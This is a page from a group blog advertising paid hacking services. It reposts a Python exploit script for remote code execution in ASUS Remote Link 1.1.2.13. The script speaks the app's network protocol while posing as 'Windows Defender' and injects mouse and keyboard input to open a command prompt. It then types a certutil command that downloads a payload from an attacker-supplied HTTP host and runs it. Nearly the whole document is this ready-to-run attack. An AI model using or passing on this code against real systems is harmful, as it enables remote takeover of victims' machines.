Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86387624

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit: ASUS Remote Link 1.1.2.13 - Remote Code Execution
# Date: 24-02-2021
# Exploit Author: H4rk3nz0
# Vendor Homepage: http://asus.com/
# Software Link: http://remotelink.asus.com/
# Version: 1.1.2.13
# Tested on: Windows 10 Enterprise Build 17763
# CVE: N/A

#!/usr/bin/python

import socket
from time import sleep
import sys


port = 5665
target = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

prefix = "04020b02"
suffix = "0000020000000000000000000300000000000000000004000000000000000000010000"
enter = (prefix + ("0" * 1038)).decode("hex")
string_prefix = "04020b0200000000010000"
string_suffix = "0" * 1022
pre_command = "04000b0200000000".decode("hex")
user_declare = ("02028a0000000000000057696e646f777320446566656e646572" + "0" * 224).decode("hex") # Declares Connection Source as 'Windows Defender'

# ASCII to Hex Character List
characters={
	"A":"41","B":"42","C":"43","D":"44","E":"45","F":"46","G":"47","H":"48","I":"49","J":"4a","K":"4b","L":"4c","M":"4d","N":"4e",
	"O":"4f","P":"50","Q":"51","R":"52","S":"53","T":"54","U":"55","V":"56","W":"57","X":"58","Y":"59","Z":"5a",
	"a":"61","b":"62","c":"63","d":"64","e":"65","f":"66","g":"67","h":"68","i":"69","j":"6a","k":"6b","l":"6c","m":"6d","n":"6e",
	"o":"6f","p":"70","q":"71","r":"72","s":"73","t":"74","u":"75","v":"76","w":"77","x":"78","y":"79","z":"7a",
	"1":"31","2":"32","3":"33","4":"34","5":"35","6":"36","7":"37","8":"38","9":"39","0":"30",
	" ":"20","+":"2b","=":"3d","/":"2f","_":"5f","<":"3c",
	">":"3e","[":"5b","]":"5d","!":"21","@":"40","#":"23","$":"24","%":"25","^":"5e","&":"26","*":"2a",
	"(":"28",")":"29","-":"2d","'":"27",'"':"22",":":"3a",";":"3b","?":"3f","`":"60","~":"7e",
	"\\":"5c","|":"7c","{":"7b","}":"7d",",":"2c",".":"2e"}


# User Specified arguments
try:
	rhost = "192.168.1.93"
	lhost = sys.argv[2]
	payload = sys.argv[3]
except:
	print("Usage: python " + sys.argv[0] + " <target-ip> <local-http-ip> <payload-name>")
	exit()

# HandShake Packets to Smart Gesture Server
def Handshake():
	target.connect((rhost,port))
	target.sendto("b2".decode("hex"),(rhost,port))
	target.sendto("38323538".decode("hex"),(rhost,port))
	target.sendto("03000f0000000000".decode("hex"),(rhost,port))
	target.sendto("03020f000000000003310000000000".decode("hex"),(rhost,port))
	target.sendto("02008a0000000000".decode("hex"),(rhost,port))
	target.sendto(user_declare,(rhost,port))
	sleep(0.1)


def MoveMouse():
	for i in range(0,16):
		target.sendto("0000330038040006".decode("hex"),(rhost,port))
		target.sendto(("00013300380400060101db010000c502" + suffix).decode("hex"),(rhost,port))
		target.sendto(("00013300380400060101d0010000ca02" + suffix).decode("hex"),(rhost,port))
		target.sendto(("00013300380400060101c7010000ce02" + suffix).decode("hex"),(rhost,port))
		target.sendto(("00013300380400060101bd010000d202" + suffix).decode("hex"),(rhost,port))
		target.sendto(("00013300380400060101b2010000d502" + suffix).decode("hex"),(rhost,port))
		target.sendto(("00013300380400060101a6010000d802" + suffix).decode("hex"),(rhost,port))
		target.sendto(("0001330038040006010199010000db02" + suffix).decode("hex"),(rhost,port))
		target.sendto(("000133003804000601018d010000de02" + suffix).decode("hex"),(rhost,port))
		target.sendto(("0001330038040006010180010000e002" + suffix).decode("hex"),(rhost,port))
		target.sendto(("0001330038040006010171010000e402" + suffix).decode("hex"),(rhost,port))
		target.sendto(("0001330038040006010163010000e602" + suffix).decode("hex"),(rhost,port))
		target.sendto(("0001330038040006010154010000e902" + suffix).decode("hex"),(rhost,port))
		target.sendto(("0001330038040006010146010000eb02" + suffix).decode("hex"),(rhost,port))
		target.sendto(("000133003804000601013b010000ed02" + suffix).decode("hex"),(rhost,port))
		target.sendto(("000133003804000601012d010000f002" + suffix).decode("hex"),(rhost,port))
		target.sendto(("0001330038040006010120010000f302" + suffix).decode("hex"),(rhost,port))
		target.sendto(("0001330038040006010113010000f702" + suffix).decode("hex"),(rhost,port))
		target.sendto(("0001330038040006010107010000fa02" + suffix).decode("hex"),(rhost,port))
		target.sendto(("00013300380400060101fa000000fd02" + suffix).decode("hex"),(rhost,port))
		target.sendto(("00013300380400060101f10000000003" + suffix).decode("hex"),(rhost,port))
		target.sendto(("00013300380400060101e50000000303" + suffix).decode("hex"),(rhost,port))
		target.sendto(("00013300380400060101d90000000603" + suffix).decode("hex"),(rhost,port))
		target.sendto(("00013300380400060101ce0000000903" + suffix).decode("hex"),(rhost,port))
		target.sendto(("00013300380400060101c20000000d03" + suffix).decode("hex"),(rhost,port))
		target.sendto(("00013300380400060101b60000001103" + suffix).decode("hex"),(rhost,port))
		target.sendto(("00013300380400060101ab0000001403" + suffix).decode("hex"),(rhost,port))
		target.sendto(("00013300380400060101a00000001803" + suffix).decode("hex"),(rhost,port))
		target.sendto(("00013300380400060101950000001c03" + suffix).decode("hex"),(rhost,port))
		target.sendto(("00013300380400060101890000002003" + suffix).decode("hex"),(rhost,port))
		target.sendto(("000133003804000601017e0000002403" + suffix).decode("hex"),(rhost,port))
		target.sendto(("00013300380400060101740000002703" + suffix).decode("hex"),(rhost,port))
		target.sendto(("000133003804000601016c0000002a03" + suffix).decode("hex"),(rhost,port))
		target.sendto(("00013300380400060101650000002c03" + suffix).decode("hex"),(rhost,port))
		target.sendto(("000133003804000601015c0000002f03" + suffix).decode("hex"),(rhost,port))
		target.sendto(("000133003804000601015c0000003003" + suffix).decode("hex"),(rhost,port))
		target.sendto(("000233003804000601005c0000003003" + suffix).decode("hex"),(rhost,port))
		sleep(0.6)

# Sends Left Click Input (Occasional Delay for some Reason)
def LeftClick():
	target.sendto("0000330038040006".decode("hex"),(rhost,port))
	target.sendto(("0001330038040006010116020000e502" + suffix).decode("hex"),(rhost,port))
	target.sendto(("0001330038040006010116020000e502" + suffix).decode("hex"),(rhost,port))
	target.sendto(("0001330038040006010116020000e502" + suffix).decode("hex"),(rhost,port))
	target.sendto(("0001330038040006010116020000e502" + suffix).decode("hex"),(rhost,port))
	target.sendto(("0001330038040006010116020000e502" + suffix).decode("hex"),(rhost,port))
	target.sendto(("0001330038040006010116020000e502" + suffix).decode("hex"),(rhost,port))
	target.sendto(("0001330038040006010116020000e502" + suffix).decode("hex"),(rhost,port))
	target.sendto(("0001330038040006010116020000e502" + suffix).decode("hex"),(rhost,port))
	target.sendto(("0002330038040006010016020000e502" + suffix).decode("hex"),(rhost,port))
	sleep(4)

# Send Enter/Return Key Input
def SendReturn():
	target.sendto(pre_command,(rhost,port))
	sleep(0.2)
	target.sendto(enter,(rhost,port)) # Enter/Return Key

# Send String Characters
def SendString(string):
	for char in string:
		convert = characters[char]
		final_string = string_prefix + convert + string_suffix
		target.sendto(pre_command,(rhost,port))
		target.sendto(final_string.decode("hex"),(rhost,port))
		sleep(0.2)

# Main Execution
def main():
	print("[+] Saying Hello")
	Handshake()
	sleep(2)
	print("[+] Moving Mouse")
	MoveMouse()
	print("[+] Left Clicking (takes a few seconds)")
	LeftClick() # Left Click is delayed sometimes
	print("[+] Opening CMD")
	SendString("cmd.exe") # Start Command Prompt
	sleep(0.5)
	SendReturn()
	sleep(1)
	print("[+] Retrieving Payload")
	SendString("certutil.exe -f -urlcache http://" + lhost + "/" + payload + " C:\\Windows\Temp\\" + payload) # Retrieve Payload
	sleep(0.5)
	SendReturn()
	sleep(3)
	print("[+] Executing")
	SendString("C:\\Windows\\Temp\\" + payload) # Execute Payload
	sleep(0.5)
	SendReturn()
	sleep(0.5)
	print("[+] Done! Check your listener?")
	SendReturn() # Trailing Enter Command Ensures full execution
	target.close()
	exit()

if __name__=="__main__":
	main()